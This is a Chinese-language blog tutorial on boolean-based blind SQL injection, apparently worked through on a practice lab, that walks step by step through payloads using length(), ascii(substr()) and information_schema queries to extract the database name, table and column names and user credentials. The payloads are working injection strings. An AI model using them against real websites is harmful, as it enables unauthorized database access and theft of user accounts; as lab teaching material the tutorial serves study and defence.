sql盲注

通过SQL注入的基础篇,我们掌握了在没有任何过滤的情况下而且还带有回显的位的注入
如何我们在注入的时候发现输入都是正确的,但是网页没办法回显出数据,而是回显是一个正常的网页或者说回显一个正确的网页没有报错呢。这就要基于SQL盲注了
SQL盲注分类:1,通过编码判断猜测数据(如:ASCII编码)

2,通过报错的形势显示出我们注入的数据

3,通过延迟的方式测试数据

在这里插入图片描述
查看源码,发现闭合是通过 ’ 闭合在这里插入图片描述
我们随后来个数据查询,发现注入语句并没有报错,网页也没有报错吗,但是不想基础篇那样有数据的显示位
首先判断现在有几个显示为 order by , 用5去判断发现报错,当我们用3 的时候就回显正确
在这里插入图片描述
在这里插入图片描述
猜测一下当前数据库的名字长度 id=1’ and length(database())=8 --+ (注:length()截取字符的长度函数),可以看到等于8是true真结果使用没有报错,使用当前数据的长度就为8

在这里插入图片描述
猜测当前数据的可以的名字,这里我们可以用ASCII编码去判断,当然也可以用其他编码或者正则表达式
id=1’ and ascii(substr(database(),1,1))=115 --+ , 在ASCII表中 115对应小写的 s,所以这数据库的第一位就为s,在测试的时候我们使用2分法会提高效率,一般使用32-126这个范围去猜测
注:(substr(“Hello world”,1,1); 第一个1代表从1位开始,后面的1代表取几个字符,SQL语句里面substr是从1开始,在php里面是从0位开始)在这里插入图片描述

猜解当前数据库有多少表,当等于4的时候没有正确回显说明当前数据库有4个表。(注:count()为记录条数的函数也称为统计函数)
?id=1’ and 1=((select count(*) from information_schema.tables where table_schema=‘security’)=4) 在这里插入图片描述
猜解没每个表的名字,首先猜长度通过构造下面语句获得第一个表的长度为6,用同样的方法猜出剩下的3个表的长度,分别为8,7,5
?id=1’ and length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))=6

在这里插入图片描述

猜解表名,猜出一个表的第一个字母为e,同样的用substr的方法猜出所有的表名在这里插入图片描述
?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101 --+
在这里插入图片描述
我们发现了想要的一个users表,然后去猜解users表里面有哪些列,我们还是从猜有多少个列开始,当我们等于3的时候没报错,确定当前表有3个列
?id=1’ and ((select count(*) from information_schema.columns where table_schema=‘security’ and table_name=‘users’)=3) --+
在这里插入图片描述
然后猜长度,猜名字,就和猜表的时候的动作一样只是在多 table_name=‘users’ 条件
?id=1’ and length((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1))=2 --+
在这里插入图片描述
一步一步的猜测我们已经获得了我们想要的表的名字和列名,然后开始猜解里面的数据,一般这种带ID的ID=1或者说第一个用户
都是权限最高的,所以我们只需要得到这个权限最高的用户详细数据就OK了
猜第一个用户名的长度为4,密码长度也为4(注:这的密码是没加密的一般数据库的密码都是加密的都是很长的)
?id=1’ and length((select username from security.users where id =1))=4 --+

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值